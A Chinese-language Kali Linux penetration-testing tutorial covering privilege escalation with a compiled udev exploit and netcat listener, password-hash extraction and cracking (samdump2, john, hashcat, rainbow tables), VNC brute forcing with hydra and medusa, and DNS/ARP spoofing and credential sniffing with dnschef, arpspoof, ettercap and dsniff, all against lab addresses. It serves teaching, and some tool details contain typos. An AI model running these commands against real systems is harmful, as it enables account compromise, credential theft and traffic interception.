横向提权(horizontal privilege escalation):如果获取了同级别角色的权限,这种提权就属于横向提权。
越权提升权限的攻击矢量,大致可以分为以下几种:
nmap -p- 192.168.56.102
对目标服务器进行端口扫描先使用nmap进行整个网络的扫描,如果发现大量服务,根据网上的情报(查询相关漏洞信息,在一些黑客社区都会有持续报告,或者IT论坛,硬件厂商公告等)确定该服务是否存在漏洞,若存在漏洞,可以通过相关工具针对漏洞发动利用
uname -r //显示主机信息
//在被测主机上下载exploit之后,我们在被测主机上使用gcc指令编译exploit
gcc privs.c -o privs
//获取pid
cat /proc/net/netlink
//获取udev服务的PID
ps aux | grep udev
//在测试主机上启动netcat的监听服务,以受理被测主机发起的连接
nc -vv -l -p 31337
//运行开始监听
./prvs 2390
密码是当代系统验证用户身份的主要手段
构成身份验证的要素可分为三大类 >>>
攻击方式的不同,密码攻击分为以下几类 >>>
离线攻击:这种攻击手段意在获取目标主机上的密码hash文件,并将该文件复制到攻击人员的主机。此后,攻击人员就可以使用密码破解工具破解密码文件。这种方法的优点是无须顾及被测主机上的密码阻止策略(账户锁定等设置),因为有关破解工作是在攻击人员的主机上完成的
在线攻击:如果采用这种方法,攻击人员将猜测用户名和对应的密码。因为需要多次猜测用户密码,所以这种方式因为可能会触发账户锁定等保护机制
这类工具用于实施离线密码攻击,通常情况下,你会用这种工具破解高权限账户的密码,所以这类工具往往用于 纵向提权(离线密码攻击属于纵向提权)
现在主流系统在存储密码的时候都只保存密码的hash值,通过哈希算法,密码可被转换为固定长度的消息摘要
密码破解是以穷举的方式做哈希碰撞,如果所测密码的哈希值与文件中的哈希值相符,就意味着猜测到了正确的密码
在利用SQL注入漏洞后,测试人员就可导出整个数据库,继而可找到密码的哈希值。
这款工具可识别哈希的类型。只有知道被测系统采用了什么哈希算法,才能使用密码破解工具破解哈希值
Hascat是一款免费的多线程密码破解工具。目前,它可破解80种算法的哈希值。Hashcat程序完全依赖CPU运算。它要比利用GPU运算的密码破解程序要慢一些
Hashcat支持6种攻击模式:
// -m 100指定了hash的类型为SHA-1
hashcat -m 100 test.hash rockyou.txt
默认攻击模式的破解速度比较快,如果密码字典没有命中正确的密码就需要尝试其他的攻击模式
Hashcat系列有很多密码破解工具,其中部分程序可以使用GPU破解密码;所以只要你的电脑装有兼容的GPU,那么破解速度还是相当理想的。请注意,无法在VW虚拟机里使用基于GPU破解的程序,因为在虚拟机里运行的程序无法直接调用物理主机的硬件。
此外,显卡的兼容性也很重要。要使用基于GPU运算的破解程序,你的显卡需要支持CUDA(NVidia)或OpenCL(AMD)技术。
在Hashcat系列里,支持基于GPU运算的破解程序有下面几种:
彩虹表破解(RainbowCrack)是利用彩虹表来破解哈希数据的工具。它实现了由PhilippeOechslin提倡的 “以空间换时间” 的技术思想
彩虹表破解法的效率高于暴力破解法,这是因为暴力破解必须计算字典内容的哈希值,然后进行匹配。而使用“以空间换时间”技术的彩虹表破解法,事先就计算好了字典各项的哈希值,破解过程只是简单的数值比较,所以效率更高
kali linux收录了RainbowCrack的三大工具。在破解哈希时,你必须依次使用这些工具
制作彩虹表简单实例:
//制作的彩虹表会被保存在/usr/share/rainbowcrack/之下
# rtgen md5 loweralpha 1 5 0 2000 8000 testing
制作彩虹表之后,应当对其进行排序,此时可选择rtsort程序
# rtsort
# rtsort md5_loweralpha#1-5_0_2000x8000_0.rt
然后,采取相同的操作对第二个彩虹表进行排序
# rtsort md5_loweralpha#1-5_1_2000x8000_0.rt
rtsort工具会用排序的结果覆盖文件
在rtsort程序运行期间,请耐心等待程序结束,切勿中断程序,否则将会破坏彩虹表文件
碰撞试验
# rcrack
# rcrack /usr/share/rainbowcrack/*.rt -h
ab56b4d92b40713acc5af89985d4b786
Windows 2k/nt/xp/Vista 系统的账户密码,以哈希值的形式存储于SAM的文件型数据库里。samdunip2可破解这种哈希。无需SysKey(System Key),samdump2程序就可破解密码的哈希值。SysKey是由Windows NT Service Pack 3引入的概念,它是保护Windows SAM数据库的加密密钥
# samdump2
获取Windows密码哈希值的方法有很多’
- 第一种方法:直接使用samdump2程序分析windows系统和SAM文件。有关信息都保存在c:%windows%\system32\config目录下。不过,在Windows运行期间,该目录被锁定保护。所以,可通过Linux Live CD(例如Kali Linux)启动计算机系统,然后挂在Windows系统的磁盘分区。在此之后,你就可以把Windows的SAM文件复制到Kali主机上
- 第二种方式:使用pwdump程序或同类型的相关工具把Windows账号的密码哈希值导出来
- 第三种方法:参见上一章Meterpreter脚本的使用办法,再执行hashdump命令把密码的哈希值导出来,使用这种方法的前提是你首先要成功利用好主机的漏洞,并能上传Meterpreter脚本
演示Windows XP SP3 密码的破解方法,假设你已经取得system和sam文件
//把samdump2的输出结果保存为文件test-sam
# samdump2 system sam -o test-sam
John the Ripper/John是一款破解密码哈希的工具。它可破解常见的DES,MD%,LM,NT,Crypt,NETLM和NETNTLM型哈希
# john
如果没有明确指定John的破解模式,它将会按默认顺序进行破解:首先采用简易破解模式,然后尝试字典破解,最后进行增强式破解
# unshadow etc-passwd etc-shadow > pass
可以使用下述指令破解密码;其中,pass就是需要破解的密码文件,也就是刚刚合并处理的文件
(1)输入指令开始执行
# john pass
//如果John程序能够破解这些密码,它就会把破解的密码存储为john.pot
# john --show pass
如需清除John程序的缓存,就要删除文件/root/.john/john.pot
(2)接下来,我们使用字典文件password.lst破解samdump2导出的哈希信息
# john test-sam --wordlist=password.lst --format=nt
(3)查看破解结果
# john test-sam --format=nt --show
图形化版本——Johnny
Ophcrack是一款基于彩虹表的破解工具,因为属于彩虹表破解工具,所以采用的策略同样是以空间换时间的策略
//使用命令破解先前获取的哈希
# ophcrack -d fast -t fast -f test-sam
crush是一款基于用户标准来创建密码字典(wordlist)的工具。密码字典通常用于暴力破解
//如果要创建由字母组成的密码长度在5个字符以内密码字典,并指定密码字典的文件名为5chars.txt,我们可以使用如下指令
# crunch 1 5 -o 5charts.txt
创建由小写字母和数字组成的密码长度在4个字符以内的密码字典,并指定字典文件的文件名为wordlist.lst
# crunch 1 4 -f /usr/share/crunch/charset.lst lalpha-numeric -o wordlist.lst
所谓在线破解,意味着这类工具在与被测主机建立连接之后才能破解密码
工具分类 >>>
在线密码破解工具会采取常规用户登录的方式,以用户名和密码登录远程主机的网络服务。它会不断尝试各种用户名和密码,直到发现正确的账户信息为止
这类工具存在暴露的风险。因为测试主机会直接连接到被测主机,所以可能会被对方发现甚至会被屏蔽。因为这些工具使用的是标准登录过程,所以在破解效率方面比离线攻击软件的效率更高
虽然在线攻击工具速度不快,也可能触发账户锁定定制机制,但是对于SSH,Telent和FTP这类服务来说,在线攻击是密码破解的唯一方式。 在进行在线的密码攻击时,务必加倍小心;尤其是在攻击ACtive Directory(AD)服务器的账号时,暴力破解可能会锁定所有的域账户。要避免发生锁定账户的情况,不仅要事先查看密码和用户锁定策略,在测试密码时最好还要使用同一密码对所有用户名进行测试(轮换用户名,而不是轮换密码)
CeWL(Custom Word List)是一款以爬虫模式在指定URL上收集单词的工具。 把它收集到的单词纳入密码字典,可提高密码破解工具(例如John the Ripper)的命中率
CeWL程序有很多选项,其中较为常用的如下所示 >>>
如果在运行CeWL时遇到Error:zip/zip gem not installed错误,那么就要使用gem install zip/zip指令安装相应的功能包:
# gem install zip
Fetching:zip-2.0.2.gem (100%)
Successfully installed zip-2.0.2
1 gem installed
Installing ri documentation for zip-2.0.2...
Installing RDoc documentation for zip-2.0.2...
结合上述选项,我们使用下述指令从目标网址收集单词
cewl -w target.txt http://www.target.com
稍等片刻之后,程序会把收集到的单词保存为文件target.txt (根据网页的内容来定,网页文本内容多的话,等待时间会很长)
在Kali系统里,这个文件位于目录/usr/share/cewl
Hydra是一款猜测并破解用户名和密码的工具。 它支持多种网络协议,可破解HTTP,FTP,POP3和SMB等协议的密码。它向目标主机发起16个并行连接同时进行多组测试
本例演示使用hydra程序破解192.168.56.101的VNC服务器的密码。如果密码字典的文件名是password.lst,我们可使用下述指令
# hydra -P password.lst 192.168.56.101 vnc
下一步工作就是验证Hydra破解的密码。我们可直接运行vncviewer程序,使用这些密码连接到远程主机的VNC服务器
Hydra程序有一个对应的GUI程序
//运行hydra的GTK图形界面程序
# xhydra
经验表明,xhydra程序不如其命令行程序hydra那样灵活,不能调整很多设置。
例如:
在破解VNC服务时,xhydra无法设置用户名;更为不幸的是,它就没有设置用户名的功能
Medusa是另外一款在线破解网络服务密码的程序。它具有速度快,并发性能强和模板化的特点。
现在,它能够通过相应模板破解CVS,FTP,HTTP,IMAP,MS-SQL,MySQL,NCP(NetWare),PcAnywhere,POP3,PostgreSQL,rexec,Rlogin,rsh,SMB,SMTP(VRFY),SNMP ,SSHv2,SVN,Telnet , VmAuthd ,VNC协议,另有一个通用处理模板
Medusa程序有很多选项,其中常用的一些选项如下所示
用Hydra破解了VNC服务器的密码;现在我们再用Medusa作一次相同的破解实验
# medusa -u root -P password.lst -h 192.168.56.101 -M vnc -v 4
网络欺骗(network spoofing)泛指修改网络数据的各种手段。例如:
伪造MAC地址,伪造IP地址等的数据,都属于网络欺骗的范畴。网络欺骗皆在与获取网络上两个会话主机的通信数据。
DNSChef是一款DNS代理工具。它可替DNS服务器对被测主机进行DNS回复,把域名解析为攻击者管控的IP,从而让攻击者的主机扮演真正的服务器角色。DNSChef的这种功能可能用来分析甚至控制客户主机的网络流量
在使用DNSChef之前,你需要对被测主机就进行调整,指定DNSChef的主机为被测的DNS服务器
在没有权限更改被测主机DNS服务器设置的情况下,你就需要使用其他手段(例如ARP欺骗并搭设一个伪DHCP服务器等)劫持被测主机的DNS请求
1.设置为DNS代理
第一步是把DNSChef设置为DNS代理服务器。我们要在DNSChef的主机上运行下述指令
# dnschef
host -t A google.com
2.伪造域名记录
现在,我们要伪造google.com有关的DNS响应。首先要修改/etc/resolv.conf文件,令被测主机使用DNSChef作为其DNS服务器
接下来在DNSChef所在的主机上使用下述指令
# dnschef --fakeip=192.168.2.21 --fakedomains google.com --interface 192.168.2.21 -q
而后我们在被测主机查询google.com的IP地址
$ host -t A google.com
google.com has address 192.168.2.21
Kali集成的是v0.1版本的DNChef程序。这个版本不支持IPv6。如果需要在IPv6的网络中使用这个程序,你需要将其升级为v0.2版
如需在IPv6的网络里使用DNSChef程序,就要在指令行里启用-6选项
dnschef.py -6 --faakeipv6 fe80::a00:27ff:felc:5122 --interface :: -q
arpspoof是一款在交换网络中辅助进行网络监听的实用工具。。前文提过,在使用交换机进行数据交换的网络环境里很难进行网络监听,但arpspoof可以辅助我们完成这项任务
arpspoof用于伪造网络中两台设备的ARP通信
原理解析:
常规情况下,当主机A要和主机B(网关)进行通信的时候,主机A会广播ARP请求以获取主机B的MAC地址。此后,主机B将会回应这个ARP请求,在ARP Reply数据包里声明自己的MAC地址;此后,主机A和主机B才能开始通信
如果攻击者C想要监听主机A和主机B之间的网络流量,则可以向主机A发送ARP回复,告诉它主机B使用的是主机C的MAC地址(33.33.33.33.33.33);而后它还要通告主机B,“主机A的MAC地址”是33.33.33.33.33.333“
在ARP欺骗生效之后,主机A和主机B之间的所有网络数据包都会通过主机C转发。
在使用arpspoof之前,需要在Kali Linux(运行ARPspoof)的主机上启用IP转发功能,这就需要以root用户的身份执行下述指令
# echo 1 > /proc/sys/net/ipv4/ip_forward
要通过指令界面启动arpspoof程序,可在终端中执行下述指令
# arpspoof
网关的配置信息如下
被测主机的配置如下
测试主机的配置如下
在启动程序以前,被测主机的ARP缓存如下所示
Interface:192.168.65.129 --- 0x30002
Internet Address Physical Address Type
192.168.65.1 00-50-56-c0-00-08 dynamic
通过以下命令,对被测主机实施ARP欺骗
# arpspoof -t 192.168.65.129 192.168.65.1
在被测主机上稍等片刻,然后用ping命令测试网关的连接情况。被测主机的ARP缓存很快就会改变为下述内容
Interface:192.168.65.129 --- 0x30002
Internet Address Physical Address Type
192.168.65.1 00-0c-29-09-22-31 dynamic
上述信息表明,在被测主机的ARP缓存里,网关的MAC地址由00-50-56-c0-00-08改变为00-0c-29-09-22-31
新的MAC地址是测试主机的MAC地址。从中可以看出,网关对应MAC地址已经变成攻击者机器的MAC地址
Ettercap是一款在LAN中进行中间人攻击的工具集。它通过ARP攻击充当网络通信的中间人。一旦ARP协议的攻击奏效,它就能够:
ARP协议(地址协议)用来把IP地址解析为物理地址(MAC地址)。
在某台主机要进行通信时,它首先会查询对方IP地址的MAC地址。此时,攻击人员可将自己主机回复给查询MAC地址的主机,以进行中间人攻击。这种攻击叫做ARP毒化(污染)攻击和ARP欺骗。只有当攻击主机和被测主机处于同一网段的时候,这种攻击才会有效
两种启动方式:
//启动文本模式
# ettercap -T
//启动仿图形模式
# ettercap -C
//图形模式
# ettercap -G
本例将使用Ettercap程序进行DNS欺骗攻击。各主机采用了前一个例子的配置方法。此外,本例要使用额外的两台主机:IP为192.168.2.1的DNS服务器;一台诱导被测主机连接的IP地址为192.168.2.22的Web服务器。攻击人员测试主机的IP地址为192.168.2.22
# ettercap -i eth0 -T -q -P dns_spoof -M ARP /192.168.2.1/ /192.168.2.22/
网络嗅探器是监视数据网络数据的软件程序和硬件设备。人们往往利用它复制网络数据的功能来检测网络数据。借助这类工具,你可以看到网络中正在传输的信息
dsniff: 一个密码侦测工具,他能够自动分析端口上收到的某些协议的数据包,并获取相应的密码。dnisff支持的协议有FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase and Microsoft SQL;
在攻击人员的测试主机上执行下述指令
# dsniff -i eth0 -m
其中,选项-i eth0 将Dsniff程序监听eth0网卡。而选项-m则用于启动程序的自动协议检测功能
tcpdump程序是一款网络嗅探器,它可以捕获符合条件表达式的网络数据包。在没有指定条件表达式的情况下,它会显示所有网络数据包。而在指定条件表达式的情况下,它只会捕获符合条件表达式的数据包
tcpdump还可以将网络数据包存储为文件,或从文件中读取网络数据
实例一:
监听eth0网卡,捕获大小为96字节(-s 96)的数据包
# tcpdump -i eth0 -s 96
实例二:
嗅探从IP地址10.0.2.15到10.0.2.100的ICMP封包,这里设置嗅探eth0接口(-i eth0),不需要把地址转换成主机名(-n),不需要打印时间戳(-t),用十六进制格式和ASCII格式打印封包头和数据(-X)。在主机10.0.2.15处输入:
# tcpdump -n -t -X -i eth0 -s 64 icmp and src 192.168.56.102 and dst 192.168.56.101
Wireshark(前称Ethereal)是一个网络封包分析软件。网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。
本测试仅供学习交流所用,不得在未经被测方有效法律允许的情况下擅自测试